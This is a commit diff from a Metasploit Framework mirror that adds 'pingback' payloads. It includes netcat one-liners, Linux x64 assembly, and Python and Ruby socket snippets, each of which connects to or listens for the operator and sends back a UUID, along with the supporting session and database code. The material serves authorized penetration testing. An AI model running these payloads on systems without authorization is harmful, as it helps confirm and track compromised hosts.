mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #12129, Add Pingback Payloads
Merge branch 'land-12129' into upstream-master
This commit is contained in:
commit
fb7f30e60d
@ -41,4 +41,4 @@ module DataProxyAutoLoader
|
||||
include VulnAttemptDataProxy
|
||||
include MsfDataProxy
|
||||
include PayloadDataProxy
|
||||
end
|
||||
end
|
||||
|
@ -3,7 +3,6 @@ module PayloadDataProxy
|
||||
def payloads(opts)
|
||||
begin
|
||||
self.data_service_operation do |data_service|
|
||||
add_opts_workspace(opts)
|
||||
data_service.payloads(opts)
|
||||
end
|
||||
rescue => e
|
||||
@ -14,7 +13,6 @@ module PayloadDataProxy
|
||||
def create_payload(opts)
|
||||
begin
|
||||
self.data_service_operation do |data_service|
|
||||
add_opts_workspace(opts)
|
||||
data_service.create_payload(opts)
|
||||
end
|
||||
rescue => e
|
||||
|
@ -41,5 +41,4 @@ module DataServiceAutoLoader
|
||||
include RemoteMsfDataService
|
||||
include RemoteDbImportDataService
|
||||
include RemotePayloadDataService
|
||||
|
||||
end
|
||||
|
@ -14,6 +14,7 @@ module Sessions
|
||||
# with the server instance both at an API level as well as at a console level.
|
||||
#
|
||||
###
|
||||
|
||||
class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
|
||||
include Msf::Session
|
||||
|
98
lib/msf/base/sessions/pingback.rb
Normal file
98
lib/msf/base/sessions/pingback.rb
Normal file
@ -0,0 +1,98 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/base'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to receive a pingback UUID
|
||||
#
|
||||
###
|
||||
class Pingback
|
||||
|
||||
#
|
||||
# This interface supports basic interaction.
|
||||
#
|
||||
include Msf::Session
|
||||
include Msf::Session::Basic
|
||||
|
||||
attr_accessor :arch
|
||||
attr_accessor :platform
|
||||
attr_accessor :uuid_string
|
||||
|
||||
#
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
"pingback"
|
||||
end
|
||||
|
||||
def initialize(rstream, opts = {})
|
||||
super
|
||||
self.platform ||= ""
|
||||
self.arch ||= ""
|
||||
datastore = opts[:datastore]
|
||||
end
|
||||
|
||||
def self.create_session(rstream, opts = {})
|
||||
Msf::Sessions::Pingback.new(rstream, opts)
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
uuid_read
|
||||
cleanup
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if rstream
|
||||
# this is also a best-effort
|
||||
rstream.close rescue nil
|
||||
rstream = nil
|
||||
end
|
||||
end
|
||||
|
||||
def uuid_read
|
||||
uuid_raw = rstream.get_once(16, 1)
|
||||
return nil unless uuid_raw
|
||||
self.uuid_string = uuid_raw.each_byte.map { |b| "%02x" % b.to_i() }.join
|
||||
print_status("Incoming UUID = #{uuid_string}")
|
||||
if framework.db.active
|
||||
begin
|
||||
payload = framework.db.payloads(uuid: uuid_string).first
|
||||
if payload.nil?
|
||||
print_warning("Provided UUID (#{uuid_string}) was not found in database!")
|
||||
else
|
||||
print_good("UUID identified (#{uuid_string})")
|
||||
end
|
||||
rescue ActiveRecord::ConnectionNotEstablished
|
||||
print_status("WARNING: UUID verification and logging is not available, because the database is not active.")
|
||||
rescue => e
|
||||
# TODO: Can we have a more specific exception handler?
|
||||
# Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than?
|
||||
elog("Can't get original UUID")
|
||||
elog("Exception Class: #{e.class.name}")
|
||||
elog("Exception Message: #{e.message}")
|
||||
elog("Exception Backtrace: #{e.backtrace}")
|
||||
end
|
||||
else
|
||||
print_warning("WARNING: UUID verification and logging is not available, because the database is not active.")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the session description.
|
||||
#
|
||||
def desc
|
||||
"Pingback"
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the class method
|
||||
#
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -8,7 +8,6 @@ module Msf::DBManager::Payload
|
||||
end
|
||||
end
|
||||
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
|
||||
Mdm::Payload.create!(opts)
|
||||
end
|
||||
end
|
||||
@ -20,7 +19,7 @@ module Msf::DBManager::Payload
|
||||
else
|
||||
# Check the database for a matching UUID, returning an empty array if no results are found
|
||||
begin
|
||||
return Array.wrap(Mdm::Payload.find(uuid: opts[:uuid]))
|
||||
return Array.wrap(Mdm::Payload.where(uuid: opts[:uuid]))
|
||||
rescue ActiveRecord::RecordNotFound
|
||||
return []
|
||||
end
|
||||
@ -30,9 +29,6 @@ module Msf::DBManager::Payload
|
||||
|
||||
def update_payload(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection do
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
|
||||
opts[:workspace] = wspace if wspace
|
||||
|
||||
id = opts.delete(:id)
|
||||
Mdm::Payload.update(id, opts)
|
||||
end
|
||||
|
@ -273,6 +273,8 @@ class Exploit < Msf::Module
|
||||
return mixins
|
||||
end
|
||||
|
||||
attr_accessor :needs_cleanup
|
||||
|
||||
#
|
||||
# Creates an instance of the exploit module. Mad skillz.
|
||||
#
|
||||
@ -752,6 +754,10 @@ class Exploit < Msf::Module
|
||||
# what not?
|
||||
return false if !compatible?(pi)
|
||||
|
||||
if self.needs_cleanup && !pi.can_cleanup
|
||||
return false
|
||||
end
|
||||
|
||||
# If the payload is privileged but the exploit does not give
|
||||
# privileged access, then fail it.
|
||||
return false if !self.privileged && pi.privileged
|
||||
|
@ -6,6 +6,7 @@ module Exploit::FileDropper
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
self.needs_cleanup = true
|
||||
@dropped_files = []
|
||||
@dropped_dirs = []
|
||||
|
||||
|
@ -81,6 +81,8 @@ class Obj
|
||||
@path = module_instance.file_path
|
||||
@mod_time = ::File.mtime(@path) rescue Time.now
|
||||
@ref_name = module_instance.refname
|
||||
@needs_cleanup = module_instance.respond_to?(:needs_cleanup) && module_instance.needs_cleanup
|
||||
|
||||
if module_instance.respond_to?(:autofilter_ports)
|
||||
@autofilter_ports = module_instance.autofilter_ports
|
||||
end
|
||||
@ -134,7 +136,8 @@ class Obj
|
||||
'check' => @check,
|
||||
'post_auth' => @post_auth,
|
||||
'default_credential' => @default_credential,
|
||||
'notes' => @notes
|
||||
'notes' => @notes,
|
||||
'needs_cleanup' => @needs_cleanup
|
||||
}.to_json(*args)
|
||||
end
|
||||
|
||||
@ -183,6 +186,8 @@ class Obj
|
||||
@post_auth = obj_hash['post_auth']
|
||||
@default_credential = obj_hash['default_credential']
|
||||
@notes = obj_hash['notes'].nil? ? {} : obj_hash['notes']
|
||||
@needs_cleanup = obj_hash['needs_cleanup']
|
||||
|
||||
end
|
||||
|
||||
def sort_platform_string
|
||||
|
@ -68,7 +68,7 @@ class Payload < Msf::Module
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
self.can_cleanup = true
|
||||
# If this is a staged payload but there is no stage information,
|
||||
# then this is actually a stager + single combination. Set up the
|
||||
# information hash accordingly.
|
||||
@ -537,6 +537,11 @@ class Payload < Msf::Module
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# This attribute designates if the payload supports onsession()
|
||||
# method calls (typically to clean up artifacts)
|
||||
#
|
||||
attr_accessor :can_cleanup
|
||||
#
|
||||
# This attribute holds the string that should be prepended to the buffer
|
||||
# when it's generated.
|
||||
@ -668,6 +673,7 @@ protected
|
||||
# Merge the name to prefix the existing one and separate them
|
||||
# with a comma
|
||||
#
|
||||
|
||||
def merge_name(info, val)
|
||||
if (info['Name'])
|
||||
info['Name'] = val + ',' + info['Name']
|
||||
|
39
lib/msf/core/payload/pingback.rb
Normal file
39
lib/msf/core/payload/pingback.rb
Normal file
@ -0,0 +1,39 @@
|
||||
# -*- coding => binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/module/platform'
|
||||
require 'rex/text'
|
||||
|
||||
#
|
||||
# This class provides methods for calculating, extracting, and parsing
|
||||
# unique ID values used by payloads.
|
||||
#
|
||||
module Msf::Payload::Pingback
|
||||
|
||||
attr_accessor :pingback_uuid
|
||||
attr_accessor :can_cleanup
|
||||
|
||||
# Generate a Pingback UUID and write it to the database
|
||||
def generate_pingback_uuid
|
||||
self.pingback_uuid ||= SecureRandom.uuid()
|
||||
self.pingback_uuid.to_s.gsub!("-", "")
|
||||
datastore['PingbackUUID'] = self.pingback_uuid
|
||||
vprint_status("PingbackUUID = #{datastore['PingbackUUID']}")
|
||||
if framework.db.active
|
||||
vprint_status("Writing UUID #{datastore['PingbackUUID']} to database...")
|
||||
framework.db.create_payload(name: datastore['PayloadUUIDName'],
|
||||
uuid: datastore['PingbackUUID'],
|
||||
description: 'pingback',
|
||||
platform: platform.platforms.first.realname.downcase)
|
||||
else
|
||||
print_warning("Unable to save UUID #{datastore['PingbackUUID']} to database -- database support not active")
|
||||
end
|
||||
self.pingback_uuid
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
self.can_cleanup = false
|
||||
self
|
||||
end
|
||||
end
|
21
lib/msf/core/payload/pingback/options.rb
Normal file
21
lib/msf/core/payload/pingback/options.rb
Normal file
@ -0,0 +1,21 @@
|
||||
# -*- coding => binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/pingback'
|
||||
|
||||
#
|
||||
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs
|
||||
#
|
||||
module Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptInt.new('PingbackRetries', [true, "How many additional successful pingbacks", 0]),
|
||||
Msf::OptInt.new('PingbackSleep', [true, "Time (in seconds) to sleep between pingbacks", 30])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
end
|
@ -1,6 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/payload/uuid/options'
|
||||
require 'msf/core/payload/pingback/options'
|
||||
|
||||
##
|
||||
# This module contains helper functions for creating the transport
|
||||
@ -8,6 +9,7 @@ require 'msf/core/payload/uuid/options'
|
||||
##
|
||||
module Msf::Payload::TransportConfig
|
||||
|
||||
include Msf::Payload::Pingback::Options
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def transport_config_reverse_tcp(opts={})
|
||||
|
@ -20,7 +20,6 @@ module Payload::Windows::ReverseTcp_x64
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID_x64
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
#
|
||||
# Register reverse_tcp specific options
|
||||
|
@ -374,6 +374,10 @@ module Msf
|
||||
# methods in order based on the supplied options and returns the finished payload.
|
||||
# @return [String] A string containing the bytes of the payload in the format selected
|
||||
def generate_payload
|
||||
if payload.include?("pingback") and framework.db.active == false
|
||||
cli_print "[-] WARNING: UUID cannot be saved because database is inactive."
|
||||
end
|
||||
|
||||
if platform == "java" or arch == "java" or payload.start_with? "java/"
|
||||
raw_payload = generate_java_payload
|
||||
encoded_payload = raw_payload
|
||||
|
50
modules/payloads/singles/cmd/unix/pingback_bind.rb
Normal file
50
modules/payloads/singles/cmd/unix/pingback_bind.rb
Normal file
@ -0,0 +1,50 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/pingback'
|
||||
require 'msf/base/sessions/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 103
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
|
||||
'Description' => 'Accept a connection, send a UUID, then exit',
|
||||
'Author' =>
|
||||
[
|
||||
'asoto-r7'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::Pingback,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'netcat'
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super.to_s + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (nc -lp #{datastore['LPORT']} || nc -l #{datastore['LPORT']})"
|
||||
end
|
||||
end
|
50
modules/payloads/singles/cmd/unix/pingback_reverse.rb
Normal file
50
modules/payloads/singles/cmd/unix/pingback_reverse.rb
Normal file
@ -0,0 +1,50 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/pingback'
|
||||
require 'msf/base/sessions/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 99
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Pingback Reverse TCP (via netcat)',
|
||||
'Description' => 'Creates a socket, send a UUID, then exit',
|
||||
'Author' =>
|
||||
[
|
||||
'asoto-r7'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Pingback,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'netcat'
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super.to_s + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | nc #{datastore['LHOST']} #{datastore['LPORT']}"
|
||||
end
|
||||
end
|
117
modules/payloads/singles/linux/x64/pingback_bind_tcp.rb
Normal file
117
modules/payloads/singles/linux/x64/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,117 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/pingback'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/pingback'
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 109
|
||||
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux x64 Pingback, Bind TCP Inline',
|
||||
'Description' => 'Accept a connection from attacker and report UUID (Linux x64)',
|
||||
'Author' => [ 'bwatters-r7' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::Pingback
|
||||
))
|
||||
def generate_stage
|
||||
# 22 -> "0x00,0x16"
|
||||
# 4444 -> "0x11,0x5c"
|
||||
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton("0.0.0.0").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
uuid_as_db = "0x" + pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||
|
||||
asm = %Q^
|
||||
push rsi
|
||||
push rax
|
||||
;SOCKET
|
||||
push 0x29
|
||||
pop rax
|
||||
cdq
|
||||
push 0x2
|
||||
pop rdi
|
||||
push 0x1
|
||||
pop rsi
|
||||
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
test rax, rax
|
||||
js failed
|
||||
|
||||
xchg rdi, rax
|
||||
mov rcx, #{encoded_host_port}
|
||||
push rcx
|
||||
mov rsi, rsp
|
||||
push rsp
|
||||
pop rsi ; store pointer to struct
|
||||
|
||||
bind_call:
|
||||
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
|
||||
; rdi -> fd already stored in rdi
|
||||
; rsi -> pointer to sockaddr_in6 struct already in rsi
|
||||
push 0x31
|
||||
pop rax ; bind syscall
|
||||
push 0x10 ; sockaddr length
|
||||
pop rdx ;
|
||||
syscall
|
||||
|
||||
listen_call:
|
||||
; int listen(int sockfd, int backlog);
|
||||
; rdi -> fd already stored in rdi
|
||||
push 0x32
|
||||
pop rax ; listen syscall
|
||||
push 0x1
|
||||
pop rsi ; backlog
|
||||
syscall
|
||||
|
||||
accept_call:
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
; rdi -> fd already stored in rdi
|
||||
push 0x2b
|
||||
pop rax ; accept syscall
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
push rdx
|
||||
push rdx
|
||||
push rsp
|
||||
pop rsi ; when populated, client will be stored in rsi
|
||||
push 0x1c
|
||||
lea rdx, [rsp] ; pointer to length of rsi (16)
|
||||
syscall
|
||||
xchg rdi, rax ; grab client fd
|
||||
send_pingback:
|
||||
; sys_write(fd:rdi, buf*:rsi, length:rdx)
|
||||
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||
pop rdx ; length in rdx
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{uuid_as_db} ; PINGBACK_UUID
|
||||
get_uuid_address:
|
||||
pop rsi ; UUID address into rsi
|
||||
xor rax, rax ; sys_write = offset 1
|
||||
inc rax ; sys_write = offset 1
|
||||
syscall ; call sys_write
|
||||
|
||||
failed:
|
||||
push 0x3c
|
||||
pop rax
|
||||
push 0x1
|
||||
pop rdi
|
||||
syscall ; exit(1)
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
end
|
||||
end
|
||||
end
|
117
modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb
Normal file
117
modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,117 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/pingback'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/pingback'
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 125
|
||||
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux x64 Pingback, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and report UUID (Linux x64)',
|
||||
'Author' => [ 'bwatters-r7' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Pingback
|
||||
))
|
||||
def generate_stage
|
||||
# 22 -> "0x00,0x16"
|
||||
# 4444 -> "0x11,0x5c"
|
||||
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
|
||||
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||
seconds = 5.0
|
||||
sleep_seconds = seconds.to_i
|
||||
sleep_nanoseconds = (seconds % 1 * 1_000_000_000).to_i
|
||||
|
||||
asm = %Q^
|
||||
push #{retry_count} ; retry counter
|
||||
pop r9
|
||||
push rsi
|
||||
push rax
|
||||
push 0x29
|
||||
pop rax
|
||||
cdq
|
||||
push 0x2
|
||||
pop rdi
|
||||
push 0x1
|
||||
pop rsi
|
||||
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
test rax, rax
|
||||
js failed
|
||||
|
||||
xchg rdi, rax
|
||||
|
||||
connect:
|
||||
mov rcx, #{encoded_host_port}
|
||||
push rcx
|
||||
mov rsi, rsp
|
||||
push 0x10
|
||||
pop rdx
|
||||
push 0x2a
|
||||
pop rax
|
||||
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
pop rcx
|
||||
test rax, rax
|
||||
jns send_pingback
|
||||
|
||||
handle_failure:
|
||||
dec r9
|
||||
jz failed
|
||||
push rdi
|
||||
push 0x23
|
||||
pop rax
|
||||
push 0x#{sleep_nanoseconds.to_s(16)}
|
||||
push 0x#{sleep_seconds.to_s(16)}
|
||||
mov rdi, rsp
|
||||
xor rsi, rsi
|
||||
syscall ; sys_nanosleep
|
||||
pop rcx
|
||||
pop rcx
|
||||
pop rdi
|
||||
test rax, rax
|
||||
jns connect
|
||||
|
||||
failed:
|
||||
push 0x3c
|
||||
pop rax
|
||||
push 0x1
|
||||
pop rdi
|
||||
syscall ; exit(1)
|
||||
|
||||
send_pingback:
|
||||
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||
pop rdx
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{uuid_as_db} ; PINGBACK_UUID
|
||||
|
||||
get_uuid_address:
|
||||
pop rsi ; UUID address
|
||||
xor rax, rax
|
||||
inc rax
|
||||
syscall ; sys_write
|
||||
|
||||
jmp failed
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
end
|
||||
end
|
||||
end
|
49
modules/payloads/singles/python/pingback_bind_tcp.rb
Normal file
49
modules/payloads/singles/python/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,49 @@
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/python'
|
||||
|
||||
require 'msf/base/sessions/pingback'
|
||||
require 'msf/core/payload/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 262
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Pingback, Bind TCP (via python)',
|
||||
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
|
||||
'Author' => 'asoto-r7',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::Pingback,
|
||||
'PayloadType' => 'python'
|
||||
))
|
||||
end
|
||||
|
||||
def generate
|
||||
super.to_s + command_string
|
||||
end
|
||||
def command_string
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
cmd = <<~PYTHON
|
||||
import binascii as b
|
||||
import socket as s
|
||||
o=s.socket(s.AF_INET,s.SOCK_STREAM)
|
||||
try:
|
||||
o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
|
||||
o.bind(('0.0.0.0', #{ datastore['LPORT']}))
|
||||
o.listen(1)
|
||||
o,addr=o.accept()
|
||||
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
|
||||
o.close()
|
||||
except:
|
||||
pass
|
||||
PYTHON
|
||||
end
|
||||
end
|
47
modules/payloads/singles/python/pingback_reverse_tcp.rb
Normal file
47
modules/payloads/singles/python/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,47 @@
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/python'
|
||||
|
||||
require 'msf/base/sessions/pingback'
|
||||
require 'msf/core/payload/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 193
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Pingback, Reverse TCP (via python)',
|
||||
'Description' => 'Connects back to the attacker, sends a UUID, then terminates',
|
||||
'Author' => 'asoto-r7',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Pingback,
|
||||
'PayloadType' => 'python'
|
||||
))
|
||||
end
|
||||
|
||||
def generate
|
||||
super.to_s + command_string
|
||||
end
|
||||
|
||||
def command_string
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
cmd = <<~PYTHON
|
||||
import binascii as b
|
||||
import socket as s
|
||||
o=s.socket(s.AF_INET,s.SOCK_STREAM)
|
||||
try:
|
||||
o.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
|
||||
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
|
||||
o.close()
|
||||
except:
|
||||
pass
|
||||
PYTHON
|
||||
end
|
||||
end
|
46
modules/payloads/singles/ruby/pingback_bind_tcp.rb
Normal file
46
modules/payloads/singles/ruby/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,46 @@
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/ruby'
|
||||
|
||||
require 'msf/base/sessions/pingback'
|
||||
require 'msf/core/payload/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 103
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Ruby
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Ruby Pingback, Bind TCP',
|
||||
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
|
||||
'Author' => 'asoto-r7',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'ruby',
|
||||
'Arch' => ARCH_RUBY,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::Pingback,
|
||||
'PayloadType' => 'ruby'
|
||||
))
|
||||
end
|
||||
|
||||
def generate
|
||||
#return prepends(ruby_string)
|
||||
return ruby_string
|
||||
end
|
||||
|
||||
def ruby_string
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
return "require'socket';" \
|
||||
"s=TCPServer.new(#{datastore['LPORT'].to_i});"\
|
||||
"c=s.accept;"\
|
||||
"s.close;"\
|
||||
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
|
||||
"c.close"
|
||||
end
|
||||
end
|
||||
|
||||
|
44
modules/payloads/singles/ruby/pingback_reverse_tcp.rb
Normal file
44
modules/payloads/singles/ruby/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,44 @@
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/ruby'
|
||||
|
||||
require 'msf/base/sessions/pingback'
|
||||
require 'msf/core/payload/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 100
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Ruby
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Ruby Pingback, Reverse TCP',
|
||||
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
|
||||
'Author' => 'asoto-r7',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'ruby',
|
||||
'Arch' => ARCH_RUBY,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Pingback,
|
||||
'PayloadType' => 'ruby'
|
||||
))
|
||||
end
|
||||
|
||||
def generate
|
||||
# return prepends(ruby_string)
|
||||
return ruby_string
|
||||
end
|
||||
|
||||
def ruby_string
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
lhost = datastore['LHOST']
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
return "require'socket';" \
|
||||
"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
|
||||
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
|
||||
"c.close"
|
||||
end
|
||||
end
|
146
modules/payloads/singles/windows/pingback_bind_tcp.rb
